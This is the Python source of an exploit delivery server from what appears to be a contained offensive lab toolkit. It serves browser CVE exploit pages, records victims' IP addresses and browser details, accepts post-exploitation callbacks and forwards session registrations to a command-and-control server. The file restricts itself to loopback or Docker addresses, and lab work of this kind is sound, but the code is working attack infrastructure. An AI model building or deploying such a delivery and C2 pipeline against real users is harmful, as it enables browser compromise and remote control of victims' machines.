exploit_server.py

#!/usr/bin/env python3
"""
Exploit Server - Serves CVE exploit pages to target browsers.

Local HTTP server that:
1. Serves exploit HTML/JS files from the CVE repository
2. Hosts the validator.js for pre-exploitation checks
3. Provides a callback endpoint for post-exploitation confirmation
4. Integrates with the C2 server for session registration

The server only binds to loopback or Docker bridge IPs,
enforced by ContainmentGuard.

Usage:
    python exploit_server.py --port 9090 [--c2 http://127.0.0.1:8443]
    python exploit_server.py --serve-cve chrome/2026/CVE-2026-2441
"""

from __future__ import annotations

import argparse
import json
import logging
import os
import sys
import time
import uuid
from pathlib import Path
from typing import Any, Optional

sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
from lib.containment import ContainmentGuard

try:
    from flask import Flask, Response, jsonify, request, send_from_directory
except ImportError:
    print("[!] Flask required: pip install flask")
    sys.exit(1)

logging.basicConfig(
    level=logging.INFO,
    format="[%(asctime)s] %(levelname)-8s %(message)s",
    datefmt="%H:%M:%S",
)
log = logging.getLogger("exploit-server")

# Path to CVE repository
REPO_ROOT = Path(__file__).resolve().parent.parent.parent
CVES_DIR = REPO_ROOT / "cves"
VALIDATOR_PATH = REPO_ROOT / "tools" / "validator" / "validator.js"


class ExploitServer:
    """HTTP server for exploit delivery in contained lab."""

    def __init__(self, host: str = "127.0.0.1", port: int = 9090,
                 c2_url: str = None):
        self.host = host
        self.port = port
        self.c2_url = c2_url
        self.callbacks: list[dict] = []
        self.served: list[dict] = []

    def create_app(self) -> Flask:
        app = Flask(__name__)
        server = self

        @app.route("/")
        def index():
            """List available CVE exploits."""
            cves = []
            for browser_dir in sorted(CVES_DIR.iterdir()):
                if not browser_dir.is_dir():
                    continue
                for year_dir in sorted(browser_dir.iterdir()):
                    if not year_dir.is_dir():
                        continue
                    for cve_dir in sorted(year_dir.iterdir()):
                        if not cve_dir.is_dir():
                            continue
                        html_files = list(cve_dir.glob("*.html"))
                        js_files = list(cve_dir.glob("*.js"))
                        if html_files or js_files:
                            cves.append({
                                "cve": cve_dir.name,
                                "browser": browser_dir.name,
                                "year": year_dir.name,
                                "path": f"{browser_dir.name}/{year_dir.name}/{cve_dir.name}",
                                "html_files": [f.name for f in html_files],
                                "js_files": [f.name for f in js_files],
                            })
            return jsonify({"available_cves": cves, "total": len(cves)})

        @app.route("/cve/<path:cve_path>")
        def serve_cve(cve_path: str):
            """Serve a CVE exploit file.

            Example: /cve/chrome/2026/CVE-2026-2441/exploit.html
            """
            full_path = CVES_DIR / cve_path
            if not full_path.exists():
                return jsonify({"error": f"Not found: {cve_path}"}), 404

            # Security: ensure path is within CVES_DIR
            try:
                full_path.resolve().relative_to(CVES_DIR.resolve())
            except ValueError:
                return jsonify({"error": "Path traversal blocked"}), 403

            server.served.append({
                "path": cve_path,
                "time": time.time(),
                "remote_addr": request.remote_addr,
                "user_agent": request.headers.get("User-Agent", ""),
            })
            log.info(f"[>] Serving: {cve_path} -> {request.remote_addr}")

            directory = str(full_path.parent)
            filename = full_path.name
            return send_from_directory(directory, filename)

        @app.route("/validator.js")
        def serve_validator():
            """Serve the pre-exploitation validator script."""
            if VALIDATOR_PATH.exists():
                return send_from_directory(
                    str(VALIDATOR_PATH.parent), VALIDATOR_PATH.name,
                    mimetype="application/javascript"
                )
            return Response("// validator.js not found", mimetype="application/javascript")

        @app.route("/callback", methods=["POST"])
        def exploit_callback():
            """Receive post-exploitation callbacks from exploits.

            Exploits can POST back to confirm successful execution,
            report browser info, or signal for C2 registration.
            """
            data = request.get_json(silent=True) or {}
            callback = {
                "time": time.time(),
                "remote_addr": request.remote_addr,
                "user_agent": request.headers.get("User-Agent", ""),
                "data": data,
            }
            server.callbacks.append(callback)

            cve = data.get("cve", "unknown")
            stage = data.get("stage", "unknown")
            log.info(f"[+] CALLBACK: {cve} stage={stage} from {request.remote_addr}")

            # If C2 URL is configured and exploit requests registration,
            # forward the registration to the C2 server
            if server.c2_url and data.get("register_c2"):
                try:
                    import requests as req
                    resp = req.post(f"{server.c2_url}/v1/register", json={
                        "hostname": data.get("hostname", request.remote_addr),
                        "username": data.get("username", "browser-exploit"),
                        "os_info": data.get("user_agent", "")[:50],
                        "pid": 0,
                        "arch": data.get("arch", "unknown"),
                        "metadata": {"cve": cve, "via": "exploit-server"},
                    }, timeout=5)
                    if resp.status_code == 200:
                        c2_data = resp.json()
                        log.info(f"[+] C2 session: {c2_data.get('session_id')}")
                        return jsonify({"success": True, "c2_session": c2_data})
                except Exception as e:
                    log.warning(f"[!] C2 registration failed: {e}")

            return jsonify({"success": True})

        @app.route("/api/served")
        def api_served():
            """List files served (for operator visibility)."""
            return jsonify(server.served[-100:])

        @app.route("/api/callbacks")
        def api_callbacks():
            """List received callbacks."""
            return jsonify(server.callbacks[-100:])

        @app.route("/api/status")
        def api_status():
            return jsonify({
                "files_served": len(server.served),
                "callbacks_received": len(server.callbacks),
                "c2_url": server.c2_url,
                "cves_dir": str(CVES_DIR),
            })

        return app


def main():
    parser = argparse.ArgumentParser(
        description="Exploit Server - Serve CVE exploits to lab targets",
    )
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", type=int, default=9090)
    parser.add_argument("--c2", default=None,
                        help="C2 server URL for session registration")
    parser.add_argument("--debug", action="store_true")
    args = parser.parse_args()

    guard = ContainmentGuard("exploit-server")
    guard.check_or_abort()
    guard.assert_loopback(args.host)

    server = ExploitServer(host=args.host, port=args.port, c2_url=args.c2)

    env = guard.environment_summary()
    log.info("=" * 60)
    log.info("EXPLOIT SERVER - Contained lab use only")
    log.info("=" * 60)
    log.info(f"  Bind:      {args.host}:{args.port}")
    log.info(f"  CVEs dir:  {CVES_DIR}")
    log.info(f"  C2:        {args.c2 or '(not connected)'}")
    log.info(f"  Docker:    {env['in_docker']}")
    log.info("=" * 60)
    log.info(f"  Browse CVEs:   http://{args.host}:{args.port}/")
    log.info(f"  Serve exploit: http://{args.host}:{args.port}/cve/<browser>/<year>/<cve>/<file>")
    log.info(f"  Callbacks:     POST http://{args.host}:{args.port}/callback")
    log.info("=" * 60)

    app = server.create_app()
    app.run(host=args.host, port=args.port, debug=args.debug)


if __name__ == "__main__":
    main()